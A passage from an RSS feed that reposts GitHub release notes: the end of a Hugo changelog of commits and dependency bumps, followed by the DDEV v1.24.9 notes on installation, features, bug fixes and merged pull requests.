<li>Add a more flexible filename identifier scheme that also allows setting roles and versions (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4263166366" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14754" data-hovercard-type="pull_request" data-hovercard-url="/gohugoio/hugo/pull/14754/hovercard" href="https://github.com/gohugoio/hugo/pull/14754">#14754</a>) <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/ce2a156a4e89849244862705395791590d12b50a/hovercard" href="https://github.com/gohugoio/hugo/commit/ce2a156a4e89849244862705395791590d12b50a"><tt>ce2a156</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4253264980" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14750" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14750/hovercard" href="https://github.com/gohugoio/hugo/issues/14750">#14750</a></li>
<li>common/hugo: Deprecate extended and extended_withdeploy editions <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/a17bdbc5face02ed2470895bcbfe67db7749dc73/hovercard" href="https://github.com/gohugoio/hugo/commit/a17bdbc5face02ed2470895bcbfe67db7749dc73"><tt>a17bdbc</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmooring/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmooring">@jmooring</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4172486487" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14696" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14696/hovercard" href="https://github.com/gohugoio/hugo/issues/14696">#14696</a></li>
<li>parser/pageparser: Add a parser fuzz test <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/8f94d65cac169688ce1fa085af00f2cd92a2086b/hovercard" href="https://github.com/gohugoio/hugo/commit/8f94d65cac169688ce1fa085af00f2cd92a2086b"><tt>8f94d65</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>Replace deprecated .Site.Sites/.Page.Sites with hugo.Sites intests <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/90d8bf34aea897a8a329480bde54ff1c61c0c9b3/hovercard" href="https://github.com/gohugoio/hugo/commit/90d8bf34aea897a8a329480bde54ff1c61c0c9b3"><tt>90d8bf3</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>agents: Add a note about having the issue ID in test names <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/bbb42b5a6a5502f5ffb09457a847bee21cf155ca/hovercard" href="https://github.com/gohugoio/hugo/commit/bbb42b5a6a5502f5ffb09457a847bee21cf155ca"><tt>bbb42b5</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>build(deps): bump github.com/getkin/kin-openapi from 0.135.0 to 0.137.0 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/d4ae662d598db81d239a291bc26336be5fec6893/hovercard" href="https://github.com/gohugoio/hugo/commit/d4ae662d598db81d239a291bc26336be5fec6893"><tt>d4ae662</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump github.com/mattn/go-isatty from 0.0.21 to 0.0.22 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/9ede5fb9e0304d3eb193b3c1a9214c735f05db21/hovercard" href="https://github.com/gohugoio/hugo/commit/9ede5fb9e0304d3eb193b3c1a9214c735f05db21"><tt>9ede5fb</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump github.com/tdewolff/minify/v2 from 2.24.12 to 2.24.13 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/833a878eef4fce2bbabb05dcbb8a7e31f93aadda/hovercard" href="https://github.com/gohugoio/hugo/commit/833a878eef4fce2bbabb05dcbb8a7e31f93aadda"><tt>833a878</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump github.com/magefile/mage from 1.17.1 to 1.17.2 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/4c03129fcf3d2bc0d1d83cf3fade8390efaef762/hovercard" href="https://github.com/gohugoio/hugo/commit/4c03129fcf3d2bc0d1d83cf3fade8390efaef762"><tt>4c03129</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>deps: Upgrade github.com/bep/imagemeta v0.17.1 =&gt; v0.17.2 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/080970bc6bf041c10477b0941502c2779cca532c/hovercard" href="https://github.com/gohugoio/hugo/commit/080970bc6bf041c10477b0941502c2779cca532c"><tt>080970b</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>build(deps): bump github.com/aws/aws-sdk-go-v2/service/cloudfront (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4301317914" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14789" data-hovercard-type="pull_request" data-hovercard-url="/gohugoio/hugo/pull/14789/hovercard" href="https://github.com/gohugoio/hugo/pull/14789">#14789</a>) <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/896bc89ab8f4badfa90240503cf964a9e445b028/hovercard" href="https://github.com/gohugoio/hugo/commit/896bc89ab8f4badfa90240503cf964a9e445b028"><tt>896bc89</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump github.com/mattn/go-isatty from 0.0.20 to 0.0.21 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4301312479" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14788" data-hovercard-type="pull_request" data-hovercard-url="/gohugoio/hugo/pull/14788/hovercard" href="https://github.com/gohugoio/hugo/pull/14788">#14788</a>) <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/100dde53ad6ea8f2d3b9032ca545b9b22ac23063/hovercard" href="https://github.com/gohugoio/hugo/commit/100dde53ad6ea8f2d3b9032ca545b9b22ac23063"><tt>100dde5</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump github.com/bep/mclib (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4301311752" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14787" data-hovercard-type="pull_request" data-hovercard-url="/gohugoio/hugo/pull/14787/hovercard" href="https://github.com/gohugoio/hugo/pull/14787">#14787</a>) <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/bdebb7970547c6d1ae5070b545fac6684e9b0f8c/hovercard" href="https://github.com/gohugoio/hugo/commit/bdebb7970547c6d1ae5070b545fac6684e9b0f8c"><tt>bdebb79</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump google.golang.org/api from 0.267.0 to 0.276.0 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/52123ae23f38ed474e3414ba386cbb47c4539f0c/hovercard" href="https://github.com/gohugoio/hugo/commit/52123ae23f38ed474e3414ba386cbb47c4539f0c"><tt>52123ae</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump github.com/aws/aws-sdk-go-v2 from 1.41.5 to 1.41.6 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/38b8afdc909f21a7b79cecdcf2e1b9a14119537b/hovercard" href="https://github.com/gohugoio/hugo/commit/38b8afdc909f21a7b79cecdcf2e1b9a14119537b"><tt>38b8afd</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump github.com/getkin/kin-openapi from 0.134.0 to 0.135.0 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4294429638" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14781" data-hovercard-type="pull_request" data-hovercard-url="/gohugoio/hugo/pull/14781/hovercard" href="https://github.com/gohugoio/hugo/pull/14781">#14781</a>) <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/927666005c2380d08c3611e199cb0924d542ceb0/hovercard" href="https://github.com/gohugoio/hugo/commit/927666005c2380d08c3611e199cb0924d542ceb0"><tt>9276660</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump github.com/bep/goportabletext from 0.1.0 to 0.2.0 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4294428452" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14779" data-hovercard-type="pull_request" data-hovercard-url="/gohugoio/hugo/pull/14779/hovercard" href="https://github.com/gohugoio/hugo/pull/14779">#14779</a>) <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/790f4084a1dcdd1dbb01f8292710f940f2adc350/hovercard" href="https://github.com/gohugoio/hugo/commit/790f4084a1dcdd1dbb01f8292710f940f2adc350"><tt>790f408</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump golang.org/x/image from 0.38.0 to 0.39.0 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4294428972" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14780" data-hovercard-type="pull_request" data-hovercard-url="/gohugoio/hugo/pull/14780/hovercard" href="https://github.com/gohugoio/hugo/pull/14780">#14780</a>) <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/de6955bab303891829105ade60ccde4ba615464a/hovercard" href="https://github.com/gohugoio/hugo/commit/de6955bab303891829105ade60ccde4ba615464a"><tt>de6955b</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>deps: Upgrade github.com/bep/imagemeta v0.17.0 =&gt; v0.17.1 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4291809321" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14775" data-hovercard-type="pull_request" data-hovercard-url="/gohugoio/hugo/pull/14775/hovercard" href="https://github.com/gohugoio/hugo/pull/14775">#14775</a>) <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/a77bd527fdbf7e0c77470dc5b112a467202602e8/hovercard" href="https://github.com/gohugoio/hugo/commit/a77bd527fdbf7e0c77470dc5b112a467202602e8"><tt>a77bd52</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4271401614" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14758" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14758/hovercard" href="https://github.com/gohugoio/hugo/issues/14758">#14758</a></li>
<li>build(deps): bump golang.org/x/tools from 0.43.0 to 0.44.0 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/547ab29ced1985e101bc5365e82cee4c481e5db9/hovercard" href="https://github.com/gohugoio/hugo/commit/547ab29ced1985e101bc5365e82cee4c481e5db9"><tt>547ab29</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump github.com/evanw/esbuild from 0.27.4 to 0.28.0 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/9a5c7e0d244ca7ae1065fc809277edffd50211f5/hovercard" href="https://github.com/gohugoio/hugo/commit/9a5c7e0d244ca7ae1065fc809277edffd50211f5"><tt>9a5c7e0</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump github.com/aws/aws-sdk-go-v2 from 1.41.1 to 1.41.5 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/6613b08eb64e4b09085e0a27c012ace46b6647be/hovercard" href="https://github.com/gohugoio/hugo/commit/6613b08eb64e4b09085e0a27c012ace46b6647be"><tt>6613b08</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump github.com/pelletier/go-toml/v2 from 2.2.4 to 2.3.0 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/582c26ef42223bb426ed2982d0186b334092809e/hovercard" href="https://github.com/gohugoio/hugo/commit/582c26ef42223bb426ed2982d0186b334092809e"><tt>582c26e</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump github.com/tdewolff/minify/v2 from 2.24.11 to 2.24.12 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/a4f2a8a579ebdfbbcfea7768869fd35188956a8f/hovercard" href="https://github.com/gohugoio/hugo/commit/a4f2a8a579ebdfbbcfea7768869fd35188956a8f"><tt>a4f2a8a</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[v1.24.9]]></title>
<description><![CDATA[Installation
See the installation instructions for details, but it's easy:

macOS: brew install ddev/ddev/ddev or just brew upgrade ddev.
Linux: Use sudo apt-get update && sudo apt-get install ddev, see apt/yum installation
Windows and WSL2: Download the ddev_windows_amd64_installer.v1.24.9.exe; ...]]></description>
<link>https://tsecurity.de/de/3497299/downloads/v1249/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3497299/downloads/v1249/</guid>
<pubDate>Thu, 07 May 2026 22:17:23 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Installation</h2>
<p>See the <a href="https://docs.ddev.com/en/stable/users/install/ddev-installation/" rel="nofollow">installation instructions</a> for details, but it's easy:</p>
<ul>
<li>macOS: <code>brew install ddev/ddev/ddev</code> or just <code>brew upgrade ddev</code>.</li>
<li>Linux: Use <code>sudo apt-get update &amp;&amp; sudo apt-get install ddev</code>, see <a href="https://docs.ddev.com/en/stable/users/install/ddev-installation/#linux" rel="nofollow">apt/yum installation</a></li>
<li>Windows and WSL2: Download the <a href="https://github.com/ddev/ddev/releases/download/v1.24.9/ddev_windows_amd64_installer.v1.24.9.exe">ddev_windows_amd64_installer.v1.24.9.exe</a>; you can run it for install or upgrade.</li>
<li>Consider <code>ddev delete images</code> or <code>ddev delete images --all</code> after upgrading to free up disk space used by previous Docker image versions. This does no harm.</li>
<li>Consider <code>ddev config --auto</code> to update your projects to current configuration.</li>
</ul>
<h2>⚠ Warning</h2>
<p>DDEV v1.24.9 release introduced a regression affecting CI environments (e.g., GitHub Actions) when using custom project TLDs. <strong>Do not use v1.24.9 in CI.</strong> Upgrade to v1.24.10 instead. Local-only users are unaffected.</p>
<h2>Highlights</h2>
<ul>
<li>Support for PHP 8.5.0 RC 3 (note: some extensions are not yet available: apcu, imagick, memcached, redis, uploadprogress, xdebug, xhprof, xmlrpc, yaml)</li>
<li>Support for PostgreSQL 18</li>
<li><a href="https://docs.ddev.com/en/stable/users/usage/managing-projects/#access-another-project-via-https" rel="nofollow">Automatic HTTP/S communication between DDEV projects</a> - no need to manually configure <code>external_links</code></li>
<li><a href="https://docs.ddev.com/en/stable/users/configuration/config/#omit_project_name_by_default" rel="nofollow">Option to omit project names</a> in <code>.ddev/config.yaml</code> by default with <code>ddev config global --omit-project-name-by-default=true</code> - useful when working with multiple Git worktrees</li>
<li>Auto-discovery of <code>PLATFORM_PROJECT</code> and <code>PLATFORM_ENVIRONMENT</code> from existing config for <a href="https://docs.ddev.com/en/stable/users/providers/upsun/#upsun-per-project-configuration" rel="nofollow">Upsun Flex</a> and <a href="https://docs.ddev.com/en/stable/users/providers/platform/#upsun-fixedplatformsh-per-project-configuration" rel="nofollow">Upsun Fixed (Platform.sh)</a> provider integrations</li>
</ul>
<h2>Features</h2>
<ul>
<li>New <a href="https://docs.ddev.com/en/stable/users/usage/commands/#utility-diagnose" rel="nofollow"><code>ddev utility diagnose</code></a> command for quick diagnostics on your DDEV installation and current project</li>
<li>New <a href="https://docs.ddev.com/en/stable/users/usage/commands/#add-on-search" rel="nofollow"><code>ddev add-on search</code></a> command, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AkibaAT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AkibaAT">@AkibaAT</a></li>
<li>New <a href="https://docs.ddev.com/en/stable/users/usage/commands/#xdebug" rel="nofollow"><code>ddev xdebug info</code></a> command to display <code>xdebug_info()</code> output</li>
<li>Customize <a href="https://docs.ddev.com/en/stable/users/usage/commands/#describe" rel="nofollow"><code>ddev describe</code></a> output using the <a href="https://docs.ddev.com/en/stable/users/extend/custom-docker-services/#customizing-ddev-describe-output" rel="nofollow"><code>x-ddev.describe-*</code> extensions</a> - useful for <a href="https://addons.ddev.com/" rel="nofollow">add-ons</a></li>
<li>Change <a href="https://docs.ddev.com/en/stable/users/usage/commands/#ssh" rel="nofollow"><code>ddev ssh</code></a> shell using the <a href="https://docs.ddev.com/en/stable/users/extend/in-container-configuration/#changing-ddev-ssh-shell" rel="nofollow"><code>x-ddev.ssh-shell</code> extension</a> - useful for <a href="https://addons.ddev.com/" rel="nofollow">add-ons</a></li>
<li>New <code>--user</code>/<code>-u</code> flag for <a href="https://docs.ddev.com/en/stable/users/usage/commands/#exec" rel="nofollow"><code>ddev exec</code></a> and <a href="https://docs.ddev.com/en/stable/users/usage/commands/#ssh" rel="nofollow"><code>ddev ssh</code></a></li>
<li><code>exec</code> hooks now <a href="https://docs.ddev.com/en/stable/users/configuration/hooks/#exec-execute-a-shell-command-in-a-container-defaults-to-web-container" rel="nofollow">support the <code>user</code> field</a></li>
<li>New <code>pre-share</code> and <code>post-share</code> <a href="https://docs.ddev.com/en/stable/users/configuration/hooks/" rel="nofollow">hooks</a>. This can help change the required URL for <code>ddev share</code> in CMSs like WordPress and Magento2.</li>
<li>PostgreSQL connection support in <a href="https://docs.ddev.com/en/stable/users/usage/commands/#heidisql" rel="nofollow"><code>ddev heidisql</code></a>, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/raphaelportmann/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/raphaelportmann">@raphaelportmann</a></li>
<li>Show failed container logs on project start by running <code>DDEV_DEBUG=true ddev start</code></li>
<li>Enhanced <a href="https://docs.ddev.com/en/stable/users/configuration/config/#composer_root" rel="nofollow"><code>composer_root</code></a> support for app <a href="https://docs.ddev.com/en/stable/users/configuration/config/#type" rel="nofollow"><code>type</code></a> detection in CakePHP, Craft CMS, Laravel, Magento 2, Shopware 6, and Symfony, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vanWittlaer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vanWittlaer">@vanWittlaer</a> for initial PR for Shopware 6</li>
<li>Silence warnings about custom configuration files in the <code>.ddev</code> directory by adding <code>#ddev-silent-no-warn</code> to the file. <a href="https://docs.ddev.com/en/stable/users/usage/faq/#what-if-i-dont-like-the-settings-files-or-gitignores-ddev-creates" rel="nofollow">Documentation</a></li>
</ul>
<h2>Bug Fixes</h2>
<ul>
<li>PostgreSQL now runs as container user (mirrored from host user) instead of <code>postgres:postgres</code></li>
<li><a href="https://docs.ddev.com/en/stable/users/usage/commands/#describe" rel="nofollow"><code>ddev describe</code></a> now works with stopped or broken containers</li>
<li>Improved support for <code>DDEV_*</code> environment variables in PHP-based add-ons</li>
<li><code>APP_DEFAULT_LOCALE</code> is no longer overridden in CakePHP, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tyler36/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tyler36">@tyler36</a></li>
<li>Removed hardcoded <code>--server-id=0</code> parameter from MySQL/MariaDB startup, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cyppe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cyppe">@cyppe</a></li>
<li>Fixed <code>docker-compose</code> warnings on <code>ddev start</code> when project root <code>.env</code> file contains dollar signs</li>
<li><a href="https://docs.ddev.com/en/stable/users/usage/commands/#add-on-get" rel="nofollow"><code>ddev add-on get</code></a> now retries without authentication on invalid GitHub token</li>
<li>Debug and verbose output now suppressed when using <code>--json-output</code>/<code>-j</code> flag</li>
<li>Non-interactive mode now forced in non-tty environments</li>
<li>Improved container username sanitization with better fallback handling</li>
<li>Fixed <code>blackfire-php</code> installation for older PHP versions</li>
<li>Fixed bug with broken label in Mutagen volume when path to Docker socket is too long</li>
<li>Fixed intermittent hang in <code>ddev auth ssh</code> when SSH key is password-protected</li>
<li>Fixed hang in <code>ddev start</code> on macOS when temp directory permissions are broken after macOS upgrade (fixed in <code>docker-compose</code>)</li>
</ul>
<h2>Internal Improvements</h2>
<ul>
<li>PHP 8.1 no longer preinstalled in <a href="https://hub.docker.com/r/ddev/ddev-webserver" rel="nofollow">ddev/ddev-webserver</a> to reduce image size</li>
<li>Native ARM builder now used for building DDEV Docker images, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AkibaAT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AkibaAT">@AkibaAT</a></li>
<li><a href="https://docs.ddev.com/en/stable/users/usage/commands/#utility" rel="nofollow"><code>ddev utility</code></a> is now the primary command (<code>ddev debug</code> moved to alias)</li>
<li>Healthcheck added to <a href="https://hub.docker.com/r/ddev/ddev-xhgui" rel="nofollow">ddev/ddev-xhgui</a> image</li>
<li>Linux tests now run separately instead of in matrix, allowing single test restarts on failure</li>
<li>Improved support for <code>CI=true</code> in GitHub Actions</li>
<li>Vite setup documentation migrated into <a href="https://docs.ddev.com/en/stable/users/usage/vite/" rel="nofollow">DDEV docs</a>, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mandrasch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mandrasch">@mandrasch</a> for continuous support on the <a href="https://ddev.com/blog/working-with-vite-in-ddev/" rel="nofollow">blog article</a></li>
<li>Improved <a href="https://docs.ddev.com/en/stable/users/quickstart/" rel="nofollow">quickstarts</a> code block formatting to resolve copy/paste issues in some terminals</li>
<li>Added <code>docker-buildx</code> dependency for <a href="https://aur.archlinux.org/packages/ddev-bin" rel="nofollow">AUR</a> installation</li>
<li>Internet detection now uses <code>one.one.one.one</code> instead of <code>test.ddev.site</code></li>
<li>Replaced <code>GITHUB_OWNER</code> with <code>DDEV_GITHUB_OWNER</code> in <a href="https://ddev.com/install.sh" rel="nofollow">https://ddev.com/install.sh</a></li>
<li>Switched to lightweight <a href="https://mcr.microsoft.com/en-us/artifact/mar/devcontainers/base/about" rel="nofollow">debian-12</a> image for GitHub Codespaces</li>
<li>Removed Gitpod configuration (service is <a href="https://ona.com/stories/gitpod-classic-payg-sunset" rel="nofollow">no longer available</a>)</li>
</ul>
<h2>Minor Updates</h2>
<ul>
<li>PHP 8.3.27, 8.4.14, and 8.5.0 RC 3</li>
<li>Docker Compose v2.40.3</li>
<li>Updated <a href="https://docs.ddev.com/en/stable/users/quickstart/#moodle" rel="nofollow">quickstart</a> for <a href="https://moodledev.io/general/releases/5.1" rel="nofollow">Moodle 5.1</a></li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>build(aur): add docker-buildx dependency by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3427998201" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7637" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7637/hovercard" href="https://github.com/ddev/ddev/pull/7637">#7637</a></li>
<li>docs: Merge AI instruction files AGENTS.md CLAUDE.md copilot-instructions.md, symlink, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3425487467" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7632" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7632/hovercard" href="https://github.com/ddev/ddev/issues/7632">#7632</a> [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3437151146" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7644" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7644/hovercard" href="https://github.com/ddev/ddev/pull/7644">#7644</a></li>
<li>docs(faq): remove traefik config when changing project's name, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3432283969" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7638" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7638/hovercard" href="https://github.com/ddev/ddev/issues/7638">#7638</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ara303/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ara303">@ara303</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3432583948" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7639" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7639/hovercard" href="https://github.com/ddev/ddev/pull/7639">#7639</a></li>
